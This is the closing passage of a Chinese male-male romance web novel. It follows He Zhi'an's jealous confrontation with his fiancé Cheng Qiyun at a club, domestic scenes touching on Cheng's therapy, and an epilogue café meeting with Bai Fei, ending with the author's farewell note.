他是没想过对这帮男人怎么样的,纵使有迁怒,但他理智上仍然知道源头还是程起云。难道让菜单上的这些“菜品”对客人说不要吗?那才是天方夜谭! 这个男人走到何芷安近前,俯身,低头吻向何芷安的脸。 何芷安货真价实地愣住了,这么近的距离下,纵使灯光渲染得再暧昧,近处的壮男和眼前的男人也看清了他眼底的震撼和厌恶。 娃娃脸壮男率先反应过来,拦了一下,就这一秒,何芷安回神,一脚踹了出去! 对面的男人体型清瘦,是学生气的那款,何芷安脸蛋再漂亮也是个超过一米八的高大男人,身高腿长,直接将他踹得滚倒在地。 何芷安发了大火,他讨厌被人碰,更何况—— “你这么熟练,以前常亲他,还是他常亲你?” 这下,所有人总算明白他是真来找茬的了。男人捂着肚子蜷缩在地,顾不上痛呼,就着趴在地上的姿势,赶紧先抬头澄清。 “不、不……先生。程先生从来没亲过我,我也不敢去碰程先生,一向是他有什么要求,我弄完就走,没有做任何多余的事!” 其他还站着的男人也立刻说明。 “程先生不喜欢被人碰的。” “我从没在他那过过夜,甚至都没脱过他的衣服……” “程先生脾气不好,不把我们当人看。” 这些话虽然说的程起云像个没有人性的泄.欲种马,但实际上倒也真就是那么回事儿。他们畏惧程起云,畏惧他阴沉的面孔,富有压迫力的气场;畏惧他做事的粗暴,没有任何温度的眼神;畏惧他壮硕的臂膀,那只掐住他们脖颈的宽大手掌。 尽管程起云出手大方,相貌和身材都一等一,甚至为了干净,他们的第一次都是程起云所有,但他们对于程起云没有任何雏鸟情节。 程起云是猎鹰,而他们是食物。 这种畏惧自然而然从脸上流露,何芷安目光扫过,认为不似作假,脸色好看了些。 接着他就纳闷了:“那你干什么过来亲我?” 趴在地上的男人语塞,这让他怎么说?说何芷安的眼神太性感,让他误会了?但他能这么说吗?这和对女人说“因为你穿太露所以我想来摸你”有什么区别,都是耍流氓啊! 男人万万没想到,在这个地方,以这种身份,还有他自己去耍别人流氓的这天。 没人回答何芷安的话,包厢里陷入怪异的沉默。何芷安拧起眉头,他皱眉也好看,两条纤长的淡眉叠着,面如冷霜,有种扎人的漂亮。 最后是娃娃脸凑过去,委婉地解释了一下。 这里有些客人是夫妻档,有时候也会一起玩…… 何芷安听得咋舌,他当然知道这个圈子里玩什么的都有,但现在和程起云心意相通,落定了他们的婚事。带入自己后听这种玩法就很别扭,受不了。 他这样,又让包厢里一群人觉得他天真了。娃娃脸忍不住凑近,呼吸都拂到了何芷安脸上,就在这时,包厢门开了。 来人正是何芷安想方设法要整治的程起云。 现在已经入夏,程起云因为工作原因,还穿着西装,但西服外套下只有一件挺括的白衬衫。 他进门,扫了眼室内的景象,没说话,脱下了外套,随意扔在临近的沙发上。 贴身衬衫包裹着他精悍的身材,隆起的肌肉撑着布料,胸膛、肩臂曲线展露无疑。他松开了两侧的袖扣,将袖子挽到手肘,小臂上青色的筋脉在皮肤下蜿蜒出痕迹,右手腕上戴着的德产重工腕表极轻微的“咔嗒”一声,分针又跳过一截。 熟悉程起云此刻神情的男人们纷纷后退,连趴倒在地的那位也挪到了角落,何芷安无知无觉,瞪着突然出现的程起云。 程起云对他笑了一下,走过来,忽然出手,攥着娃娃脸的发顶将他朝下用力一掼! 娃娃脸的脑袋撞上茶几,额头立刻出了血,何芷安挡开他手。 “你干什么!” 何芷安不关心娃娃脸怎么了,虽然他觉得对方人似乎还不错,但如果程起云讨厌他,他当然也无所谓。只是现在是他来找程起云茬,程起云揍人算什么意思! 程起云没有马上回应他,视线往边上扫了扫,其他人立刻心领神会。两个壮男将倒在茶几上已然半昏厥的娃娃脸拖了出去,他们离开包厢,其他男人也想跟着走,被何芷安喝止。 “我让你们走了吗?” 一行人哆哆嗦嗦地瞥向程起云,程起云笑了,说,听他的。 现在,包厢里唯一坐着的人是何芷安。趴在地上的男人已经爬起来,和同伴们站在一起,程起云站在何芷安面前,半蹲下来,左膝触地,握住何芷安的手,抬头仰视着他。 “宝宝,我很生气。” 何芷安以为自己听错了:“你还有脸生气?” 程起云:“刚刚那个人离你太近了。” 何芷安:“我看没你离得近!” 何芷安冷笑,看着眼前这排男人,怒从心起,忽然指着他们命令。 “你们出去!和在外面的每桌人说程起云阳痿,去!” 男人们面面相觑,但看程起云没出言反对,短暂犹豫后纷纷压着唇角出门了。 程起云始终只看着何芷安:“我阳痿啊?” 何芷安重重“哼”了一声。 程起云双手撑在他两侧沙发上,猎豹一般逼近他,鼻梁蹭着他的颧骨,低声问。 “我如果那样……还怎么满足你?” “和我干这事儿又不用你出力,你怕不是把我和谁搞混了吧。” “胡说八道,拿自己和什么东西比。” “什么东西我看你也吃得挺香的。” “有你还吃什么,我对外不是阳痿么?” 何芷安想着外面一桌桌递话说程起云不行的画面,心气总算顺了点,能正眼看人了。 程起云看他神色转晴,去锁了门。 何芷安随口问:“锁门干什么?” “不干什么。”程起云转过身,慢条斯理地走向他,解开手上的腕表放在了茶几上:“只是帮你纠正一下,让你看看我们干这事儿的时候,究竟是谁在出力。” 第39章 第 39 章 生活琐碎 何芷安是被程起云打横抱着离开俱乐部的。 他气势汹汹地来, 被受他翻旧账的未婚夫抱着走,前后反差不能不说是十分丢脸——好在他窝在程起云怀里的时候意识已经不太清醒,也顾不上觉得丢人了。 程起云在这方面一直很凶, 何芷安和他屡次斗争都处于下风, 有时候他怀疑程起云在这方面有瘾,结果程起云笑着说自己的目标是把何芷安搞出瘾,这样何芷安就离不开他了。 这男的什么荤素不忌的话都说得出来, 何芷安不敢和他讨论这个了。 但是程起云挺喜欢和他聊这个,尤其是找到茬的时候,比如这回在包厢里,仗着隔音好对何芷安问东问西。 问何芷安这么介意他玩过人, 那要不要让那些人进来看。 还问何芷安嫌不嫌他脏,是不是嫌脏才夹不紧。 又说嫌脏也没用,他会把何芷安也弄脏。 何芷安嫌他不是个哑巴! 直到进了车里喝了两口温水何芷安才缓过来,他辫子上的小钻石现在没剩几颗了, 程起云抓他头发的时候落了满地。程起云比他好一些,只是脸上还能看出巴掌印。 “扯平了。”何芷安嘟嘟囔囔,“我下次不来这里了,反正现在别人都知道我们在一起,也知道你阳痿。你也不要再拿这个事来弄我。” 程起云开着车:“没事我也会弄你。” 何芷安真想把保温杯砸在他脸上:“你脑子里是不是只有这个, 啊?” 程起云自顾自笑了会儿才说:“也有别的。” “等我把手头的事处理完, 我们要不要再去爬一次菲茨罗伊峰?” 副驾座上安静下来。 车窗都关着, 只有通风系统无声运转,风流过的浅浅凉意让人联想到凌晨天将明未明时透蓝的冷湖, 冰面破碎的声响似乎仍然响在耳畔。 但再一想,那其实也是很久很久之前的事情了。 居然久到,隔着青春、命运与生死。 程起云没有催促何芷安回答, 他看似心无旁骛地目视前方车流,神情平静坦然,实则肩背线条绷紧,握着方向盘的手指在沉默中狰狞出了泛白的骨节。 他既不想何芷安忘记他们的过去,又害怕何芷安回忆过去。 过去总是伴随着伤害,更何况他始终觉得何芷安更爱曾经的自己。 程起云已经披不回无忧无惧的天之骄子的人皮,他现在浑身充斥着对命运的暴虐、扭曲的独占欲和不容拒绝的掌控欲,他想以现在的模样再带何芷安回一次峰顶。在阳光从菲茨罗伊峰的花岗岩壁上燃起的那刻,何芷安的眼里会重新倒映出他的身影。 不知道过了多久,对于程起云来说很长,但实际很短。30秒钟的时间,何芷安的思绪蔓延又收回,轻而易举就说。 “好啊。” 他的头发乱了,小辫散了几支,发型现在有点不伦不类。但是因为脸蛋漂亮,这样也不显狼狈,他高瘦的身影靠在宽敞的车座上,单手撑着额角,斜倚的面孔有种刚刚追忆了什么的惘然,但整体是平静的。 和程起云的伪装不同,那是种尘埃落定的真正的平静,耳钉在他左耳上微微闪光,他看起来并不觉得这个提议有什么问题。 毕竟这是他们很早,在何芷安高中毕业、他们第一次挑战攀登菲茨罗伊峰就约好的事。 程起云收回望向他的余光,僵硬的指节总算放松,他在一瞬间再次有了那种生命力从何芷安身上注入到自己心口的感觉,实际上流淌而来的并非生命力,是和这个一样鲜活的勇气。 他差点忘记,不管什么时候,何芷安总是比他更勇敢。 程起云笑他:“记吃不记打。” 何芷安磨牙:“你什么意思!” 程起云忽然又一声叹息,半怜半爱的:“……小兔子。” 何芷安觉得他脑子有病。 不知道是不是那天忽然觉得何芷安像兔子这件事激发了程起云什么,他对何芷安的饲养欲更重了,甚至开始喜欢给何芷安喂东西吃。 程起云单方面地喂食他,盯着他咀嚼的模样,自己并不吃,何芷安一开始还乐得偷懒,后来就有点毛毛的。 他拒绝无果,趁程起云去上班潜入相邻的别墅楼,想找程起云的妈妈告状。 程妈妈因为身体不好大部分时候都待在家里休养,偏偏今天约了朋友出门做头疗,平时总是很忙的程父反倒在家。 何芷安迎面撞上他有点尴尬。 程父:“你阿姨得晚上才回来,怎么,你找他有事?” 何芷安犹豫半天,拉开正在看报纸的程父对面的椅子坐下了。 “那个,伯父……我觉得哥是不是得去看一看心理医生啊?” 当着人爸爸的面让他儿子去看心理医生,正常人都知道很冒昧。只不过两家人太熟了,程父对何芷安的态度总是很温和,何芷安也跟他没大没小惯了,才这么说。 没想到——“他不是一直在看吗?” 何芷安差点咬到舌头:“什么?” 程父看了他一眼,笑了笑:“现在和你在一起已经好多了,怎么,他让你不舒服了吗?” 自从何芷安毕业暑假的那场车祸,程起云的心理治疗就没停过,只不过没有和何芷安说。 如果不是他心理疾病确实一度影响到了生活和健康,即使程家再看好何芷安,又怎么会同意程起云年纪轻轻就立遗嘱,且将那时不管从任何意义上都和他毫无关系的何芷安作为遗嘱唯一受益人。 程起云一手创办的浙兴科技能与国家政府谈交易,前途不仅仅是一家能赚钱的科技公司那么简单,根据遗嘱,程起云死后所有股份拱手相让,何芷安将一跃成为浙兴的最大股东。 世界上有谁会嫌钱多? 程父程母不会,何家父母也不会。这份遗嘱最终能成立是因为程父程母爱自己的儿子,知道是何芷安在支撑着程起云活下来;也因为何父何母爱何芷安,为了让他们的安安未来的人生多一份可靠的退路与保障,他们愿意捏着鼻子原谅程起云的荒唐。 但何芷安什么也不知道,何芷安知道程起云一会儿和他分手,一会儿又跟他和好了。 他呆呆地问:“是那种正常人都会做的心理咨询吗?” 程父的表情明显是否认答案。 何芷安回过神来,当然也很容易猜到症结在哪儿,车祸,既定的命运,家破人散的结局,程起云性格都扭曲成那样了,有心理疾病当然也很正常。 程起云以前和他说过吗?何芷安居然不记得了,也许他觉得程起云是在给自己的经历找理由,又或许即使变化很大,现在的程起云在他面前仍然是强大而坚不可摧的,让他不会多想。 程父温和地说:“我跟他说说,你别担心。他现在的心理医生做得不错,以后的状态会更好的……具体哪里让你难受了?” 何芷安改主意:“不,其实也没什么,我自己和他说吧,您别提了。” 程父确认:“真的?” 何芷安认真点头:“嗯!” 程起云从公司回来后得到了意料之外的待遇。 何芷安居然装模作样地给他做了晚饭——并非贬义,而是客观描述,他一眼就看出餐桌上的菜肴是厨娘做的,何芷安大概负责了摆盘的部分。 装着自己做好了晚饭之后,何芷安就像之前刚回国时那样黏到了他身边,问他今天辛不辛苦,有没有想自己。 穿着家居服的何芷安将黑发在脑后用皮圈松松扎着,鬓角发丝散落两缕,因为眼廓深,他垂眼时也能看出双眼皮的微小褶皱,纤长的睫毛在皮肤上遮出阴影,看起来竟有种模糊性别的柔美。 他给程起云盛了汤,用两根手指抵着碗沿推过去。 当他抬起眼睛,彻底显露出天然冷丽的双眼形状时,那种性别错位感就消失了。他的眼尾是尖窄,色泽浅淡的眼珠给人以漠然的沉静,但在他注视着程起云时,又像湖水的涟漪团团聚拢,就那样将程起云包裹在里面。 他毫无顾忌地黏糊着嗓音:“今天我有想你——” 程起云握着筷子的手一顿,认为没有不享受的道理。 他长腿一蹬,椅子往后挪开了些位置,拍了拍自己的腿。何芷安老实地坐上来后,他双臂环过何芷安,端起对方盛给自己的汤,舀起来喂过去。 何芷安又乖乖张嘴,含住嘴边的勺子,喉结一滚喝了。 程家聘用的厨娘手艺没得挑剔,汤炖得鲜香,何芷安喝得认真,脸颊随咀嚼和吞咽的动作自然起伏。程起云间或给他挑两筷子菜,看着食物在他嘴里一点点消失。 直到喂完了一碗汤,程起云放下餐具,何芷安仍然坐在他腿上。 “今天怎么这么听话?”程起云握着他的腰,“做什么亏心事了?” 何芷安:“我有什么亏心事,我一直都很听你话,哥哥。” 程起云:“前几天不是还躲开我?” 何芷安:“我躲开你,你会寂寞吗?” 虽然两个人同住一个屋檐下,每晚同床共枕,他的躲开也只是玩闹般避开程起云的一些肢体接触,但何芷安还是郑重地问出了这个问题。 程起云回应着他的视线,四目相对,他捕获到对方的关心。 年长、成熟的男人应该以包容的姿态回答这个问题,给予爱人适当的空间,程起云通晓人际关系技巧,也明白正确答案。 但。 他偏头,鼻梁蹭过何芷安的下颚,嗓音几乎是从胸腔里发出的:“你躲开我,我的心会痛。” 何芷安立刻就鼻子一酸,猛地俯身抱住他,手掌贴着程起云的后脑。一股脑地承认错误、还说好喜欢他,好爱他,他只是闹着玩而已。 程起云当然知道。 知道何芷安爱他,何芷安的玩闹。 他知道正确答案,所以也知道不用给何芷安距离,能坚持着爱他,何芷安本身也不正常。何芷安的爱近乎是自我奉献式的,他尽可以得寸进尺,一步一步,将人吞吃入腹。《 》 后来【完结】 第40章 第 40 章 后来(完结…… 事情发生在何芷安和程起云结婚之后。 那天何芷安突然收到一则陌生邀约, 对方想和他见面。因为程起云出差了,何芷安有点无聊,就带着安保赴约——实际上也不用带安保, 地点就定在市中心一家咖啡屋, 人来人往的很热闹。 已经是冬天了,今年冬天难得下雪。地面上的雪积了薄薄一层没人去扫,不影响通行, 还能看个新鲜。 圣诞节刚过,道路两旁还有没拆下的圣诞树和彩灯,都是商铺做活动摆放的。微渺的残雪从夜空飘下,因为夜空被人造的明灯映着, 也从漆黑转变为一种深蓝,能看清雪花的颜色。 何芷安判断没有危险后把安保人员留在了店外,自己进了咖啡屋。这家店的装潢是走木质调风格的,显得异常温暖, 每张桌子上有个假壁炉小灯。 他走进来之后,就知道约他的人是谁了。 ——是白非。 何芷安一瞬间很惊讶,但在那本能的惊讶淡去后,他竟然相当平静。 大概是已经和程起云在一起三年了,期间除了程起云时不时的神经质外, 他们结了婚、重爬了菲茨罗伊峰, 再没有遇见什么波折, 以至于他再度看见这个命运钦定的主角,他只觉得像在看一个人生的过客。 说实话, 他已经很久没有听到对方的消息,也早在三年前就不去主动打探这些了。 倒是陆陆续续有听到钟旻的,他带白非回京后钟家原本蒸蒸日上, 但明明说好了订婚钟旻却在最后关头拒婚,出了车祸昏迷。他昏迷后钟家开始走下坡路,原本是钟家左膀右臂的顾家逐渐上位,大约一年前,钟旻醒了,但钟家的衰落并没有停止,现在只能算是京城的二流势力。 曾经多么风光无二,即使一时站错队被家里千里迢迢送到南都也没人敢得罪,现在却再没有人叫他“太子爷”了。 何芷安坐下,脱掉了大衣和围巾。他的围巾是深色的,上面落了雪花,何芷安随意一抖,抖落的雪和他的手背同样白。 白非看着他骨节分明的手,手指那么修长,指骨的凸起恰到好处。无名指上是纯金的结婚戒指,其他手指各自戴了些装饰性戒指,有的有钻有的没有,一双手在灯光下华光璀璨,却没有那只手本身来得更好看。 白非说:“你结婚了,和程起云。” 他用的是肯定的口气,何芷安耸了耸肩。 三年过去,白非也变化不少,从前他的脸上总是带着犹豫和怯懦,眼底深处有着仿佛永远也减少不了的疲惫。现在他变得从容,平和,那双眼睛成为见过真正开阔天地的眼睛,身材也壮实了,能撑得起身上这套浅灰色的休闲西装。 他头发上捋,用发胶固定,露出清爽的额头。鼻梁上架着半框的银边眼镜,黝黑的眼睛望着何芷安,唇角的弧度带着洞察人心的了然。 何芷安:“你听说了?” 白非:“我看出来了。” 何芷安:“你怎么看出来的?” 白非:“如果和别人结婚,你看起来不会这么轻松、愉快。” 何芷安不知道自己的状态有这么明显,不过也无所谓,这正合他意。在白非面前,不管对方怎么变化,他都改不了自己的居高临下和圈地盘本性。 “你知道了就好。”何芷安抬起手,展示自己的结婚戒指:“哥哥已经是我的人了,不管你去哪儿了,又为什么再出现,休想和我抢他!” 白非从那枚戒指看到他藏在毛衣下的手腕,视线又顺着小臂一路攀爬,掠过他说话时起伏的喉结,描摹饱满的唇线。 何芷安的话讲完,他过了两秒钟,才单手撑着侧颊,笑着说。 “你不好奇我消失是去了哪里,又为什么出现在你面前吗?” ……说实话,何芷安有点好奇。 他没吭声,白非给他点了杯店里招牌的咖啡,服务生送上来后他也乖乖喝了,他的不拒绝就是信号,白非很上道的没有吊他胃口。 “钟旻车祸之后,钟家乱成一团。顾家向我递来橄榄枝,我接了,他们安排我和顾卫、莎拉夫妻回英国,这几年我就一边在英国补念硕士,一边给顾家做事。” “做得还不错,现在我们担任他们家族企业的高级顾问,主要是风投这一块儿,帮他们赚了不少钱。” 白非的讲述简单,语调也平常,但何芷安知道,对于京城顾家能称得上是“不少钱”的钱,那基本是笔天文数字了。 这个世界上只要有了钱,什么事都会好办。 白非讲完自己,话音一转,又谈起钟旻。他谈钟旻时神情并无留恋,而是一种出神的追忆,仿佛在透过这个话题叩问更遥远的什么。 “说起来,钟旻也蛮有趣。当年千方百计追求我的是他,好像非我不可的是他,把我带去京城让我做出事业的是他,最后不愿意结婚的还是他。他车祸,我离开,钟家衰落,他又醒了……有时候我会萌生一个有意思的念头,就像我是他和命运的一桩交易。” “其实我在见你之前,先见过了钟旻。”他微笑着看向何芷安:“你知道他跟我说了什么吗?” 何芷安目露好奇,白非给他点了一块香蕉蛋糕,他又乖乖吃了,白非轻笑了声,终于说。 “他跟我说,命运是最公平的,只有你付出了,才会给你最想要的东西。如果狠不下心,或者心存侥幸,没办法坚持到底,前面的付出就会是竹篮打水一场空。” 何芷安用勺子剜蛋糕的动作顿住,接着才点点头:“做任何事都是这样,很正常。” 白非观察着他的神色,放缓声音问:“你就只想说这个?” 何芷安想了想,下巴抬高,骄傲地说:“哥哥就是因为狠得下心,又有毅力,还很聪明、很有能力,所以从小到大做什么事情都会成功!” 白非看着他,表情从试探变得有点无语,他嘴唇动了动,最终只是说。 “……你怎么还是这么喜欢他?” 何芷安理直气壮:“我不喜欢他我喜欢谁?” 白非:“你没想过如果有一天,程起云面对一个选择,要他付出最重要的东西才能获得成功,他会怎么选?” 何芷安:“这有什么好选的,因为我就是哥哥最重要的东西,对于哥哥来说和我在一起才是成功,他当然不能选了,只能想办法都握在手里。” 白非闻言微怔,他琢磨着程起云,何芷安却想到了钟旻。 钟旻来南都接近他却带走白非,想必是选择了自己的前程和钟家的荣耀的,在他拒婚的那一刻,他到底是怀抱着对命运放过他的侥幸,还是即使有重担在肩,最后还是选择了遵从自己的内心呢? 但那都不要紧了。 何芷安洋洋得意地对白非说:“知道吗,在很早之前,比他跟你谈恋爱都早多了,哥哥就把我列为遗嘱唯一受赠人了!” 白非仿佛陷在自己的思绪里,随口说:“除了给我母亲留一份,我也可以把赚的所有钱给你。” 何芷安没反应过来:“啊?” 白非总算回神,低头整理了一下西服袖口,再抬头时脸上已经是寻常神情。 “我是说,钱而已。没有的确不行,但见过了足够多的钱,就会觉得都是纸而已。” 何芷安撇了撇嘴:“切,你才赚了几年钱,口气这么大。” 白非没有反驳他,只是玩笑似的问:“那如果我再赚几年,赚得足够多,比你和程起云还有钱。你会跟我走吗?” 何芷安不理解地盯着他:“跟你走?为什么?去哪里?我当然是一辈子跟哥哥在一起!” “你是不是试探我?我告诉你死心吧,我和哥哥感情很好,好得不得了,不会给你插足的机会!” “你要是想录音让我说什么不好听的,去哥哥那里挑拨离间,你想都不要想!” 白非摁了摁额角,抬手做了个“打住”的手势。 “你看了多少泡沫电视剧?想象力别太丰富,我只是随便问问。” 何芷安愤愤闭上嘴。 他拧着眉毛,眉眼鲜活漂亮,散落的半长黑发烫了卷,柔软的搭在颈侧。黑发和白皮肤形成吸睛的对比,流畅锋利的下颚线条像空中的那轮弯月。 如果是布娃娃,一定也是橱窗里最昂贵的那种。 白非静静看着他喝完咖啡,吃了蛋糕,用湿巾擦了手站起来就要走。 他并未阻拦,只是沉默地注视何芷安套上黑色的羊绒大衣,他双手插兜,长靴踩在地上的声音干净利落,并未回头看他一眼。 “我走了啊,你自己买单,你现在应该很有钱吧?” 大衣在空中扬起一个弧度,白非注意到桌上的藏蓝色围巾,他眼睛微亮,抓起来朝那道背影追去。 然而,等追到门口,打开的玻璃门外,何芷安正欢天喜地扑进一个身量高大的男人怀里。他们身高差得不多,但因为男人更健硕,体态瘦削修长的何芷安便像是窝在对方身上似的。 男人低头,冷硬俊朗的五官一如当年,他抬手摸了摸何芷安的脖颈,摘下自己的格子围巾,又厚又长的布料绕上何芷安的脖颈,又围在自己脖子上,就这样亲密地共用一条围巾。 他扔了车钥匙给保镖打扮的人,握住何芷安的手揣进兜里,两个人脑袋挨着,踏着白雪走远了。 而白非只是握着围巾停在温暖的咖啡屋门口。 雪从夜空落下,落在脸上的触感像雨。 何芷安:“哥哥,你不是出差吗?怎么提早回来了?” 程起云:“想你。” 何芷安:“我也想你!哇你知道吗,今天是白非约我见面,他完全变了一个样,说是这几年在英国替京城顾家做事……当然他还是没我好看,你别打他主意!” 程起云:“你背着我和他见面,你想出轨?” 何芷安:“我刚刚说的话是这个意思吗?” 何芷安:“对了!除了这几年去哪儿了,他还说要告诉我为什么他会重新出现,他也没说啊!我也忘了问。” 程起云:“因为他喜欢你。” 何芷安:“差不多了,你又发什么神经,我说过了一周最多三次。你就算再找理由我也不会放纵你了!” 程起云:“我想做。” 何芷安:“……这是在大马路上!” 何芷安撞他脑袋,程起云在口袋里掐他的手,格子围巾将他们包裹得严实,两个人的体温几乎融成一个人。留下的脚印藏进人群的脚印里,他们也走进人群里去了。 END—— 作者有话说:正文到这里就完结啦!这本书完全是一时XP的产物,后期因为一些原因关闭了评论区,灵感也受到影响,我是一但放下笔再拿起来就会写得很艰难的类型,实在是对不起坚持追更支持这本书的宝贝们了。《 》